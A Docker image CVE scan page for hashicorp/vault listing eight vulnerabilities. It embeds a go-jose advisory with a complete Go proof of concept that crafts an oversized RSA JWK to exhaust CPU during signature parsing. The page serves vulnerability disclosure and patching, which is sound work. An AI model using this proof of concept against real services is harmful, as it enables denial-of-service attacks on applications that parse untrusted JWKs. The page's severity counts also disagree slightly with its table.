Scan Another

CVE Scan for hashicorp/vault

Docker image vulnerability scanner

8 Known Vulnerabilities in this Docker Image

0
Critical
1
High
3
Medium
0
Low
0
Info/ Unspecified/ Unknown
CVE IDSeverityPackageAffected VersionFixed VersionCVSS Score
CVE-2026-116587highv3<=4.1.54.1.67.5

Summary

A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.

Details

go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to crypto/rsa.PrivateKey.Validate(). On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.

https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700

Proof of concept

No special configuration of go-jose is required to reproduce this vulnerability.

package main

import (
    "encoding/base64"
    "encoding/json"
    "fmt"
    "math/big"
    "time"

    "github.com/go-jose/go-jose/v4"
)

func main() {
    // The RSA parameters can be complete junk. The CPU cost is in validating them.
    primeBits := 16384
    p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))
    p.SetBit(p, 0, 1)
    n := new(big.Int).Lsh(big.NewInt(1), 2048)
    e := big.NewInt(65537)
    d := big.NewInt(3)
    q := big.NewInt(3)

    jwk := map[string]string{
        "kty": "RSA",
        "n":   base64.RawURLEncoding.EncodeToString(n.Bytes()),
        "e":   base64.RawURLEncoding.EncodeToString(e.Bytes()),
        "d":   base64.RawURLEncoding.EncodeToString(d.Bytes()),
        "p":   base64.RawURLEncoding.EncodeToString(p.Bytes()),
        "q":   base64.RawURLEncoding.EncodeToString(q.Bytes()),
    }

    protected := map[string]any{
        "alg": "RS256",
        "jwk": jwk,
    }
    protJSON, _ := json.Marshal(protected)

    jws := map[string]string{
        "protected": base64.RawURLEncoding.EncodeToString(protJSON),
        "payload":   base64.RawURLEncoding.EncodeToString([]byte(`{}`)),
        "signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")),
    }
    jwsJSON, _ := json.Marshal(jws)

    start := time.Now()
    _, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})
    elapsed := time.Since(start)

    fmt.Printf("prime bits: %d\n", primeBits)
    fmt.Printf("parse time: %s\n", elapsed)
    fmt.Printf("parse error: %v\n", err)
}

Impact

Denial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.

Credits

Reported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)

Package URL(s):
  • pkg:golang/github.com/go-jose/go-jose/v3@3.0.5
  • pkg:golang/github.com/go-jose/go-jose/v4@4.1.5
CVE-2026-116585mediumv3<=3.0.5not fixed6.9
CVE-2026-116586mediumv3<=3.0.5not fixed6.9
CVE-2026-86597mediumgosnowflake<=1.19.1not fixed6.5
CVE-2026-107891unspecifiedmusl<1.2.6-r61.2.6-r63.1
CVE-2026-78661unspecifiednet<0.62.00.62.03.1
CVE-2026-97045unspecifiednet<0.62.00.62.03.1
GO-2026-5932unspecifiedcrypto>=0not fixed3.1

Severity Levels

Exploitation could lead to severe consequences, such as system compromise or data loss. Requires immediate attention.

Vulnerability could be exploited relatively easily and lead to significant impact. Requires prompt attention.

Exploitation is possible but might require specific conditions. Impact is moderate. Should be addressed in a timely manner.

Exploitation is difficult or impact is minimal. Address when convenient or as part of regular maintenance.

Severity is not determined, informational, or negligible. Review based on context.

Sliplane Icon
About Sliplane

Sliplane is a cloud platform that makes deploying and scaling your apps simple. Launch in minutes and grow as you go, containers included.

Try Sliplane for free

About the CVE Scanner

What is a CVE?

CVE stands for Common Vulnerabilities and Exposures. It is a standardized identifier for known security vulnerabilities, allowing developers and organizations to track and address potential risks effectively. For more information, visit cve.mitre.org.

About the CVE Scanner

The CVE Scanner is a powerful tool that helps you identify known vulnerabilities in your Docker images. By scanning your images against a comprehensive database of Common Vulnerabilities and Exposures (CVEs), you can ensure that your applications are secure and up-to-date. For more details, checkout the NIST CVE Database.

How the CVE Scanner Works

The CVE Scanner analyzes your Docker images against a comprehensive database of known vulnerabilities. It uses Docker Scout under the hood to provide detailed insights into affected packages, severity levels, and available fixes, empowering you to take immediate action.

Why CVE Scanning is Essential for Your Docker Images

With the rise of supply chain attacks, ensuring the security of your applications has become more critical than ever. CVE scanning plays a vital role in identifying vulnerabilities that could be exploited by attackers, especially those introduced through dependencies and third-party components. Regularly scanning and securing your Docker images is essential to protect your applications from these evolving threats.

Benefits of CVE Scanning

  • Enhanced Security: Detect and mitigate vulnerabilities before they are exploited.
  • Compliance: Meet industry standards and regulatory requirements for secure software.
  • Proactive Maintenance: Stay ahead of potential threats by addressing vulnerabilities early.

The Importance of Patching Docker Images

Patching your Docker images is a critical step in maintaining the security and stability of your applications. By regularly updating your images to include the latest security patches, you can address known vulnerabilities and reduce the risk of exploitation. This proactive approach ensures that your applications remain resilient against emerging threats and helps maintain compliance with security best practices.

Want to deploy this image?

Try out Sliplane - a simple Docker hosting solution. It provides you with the tools to deploy, manage and scale your containerized applications.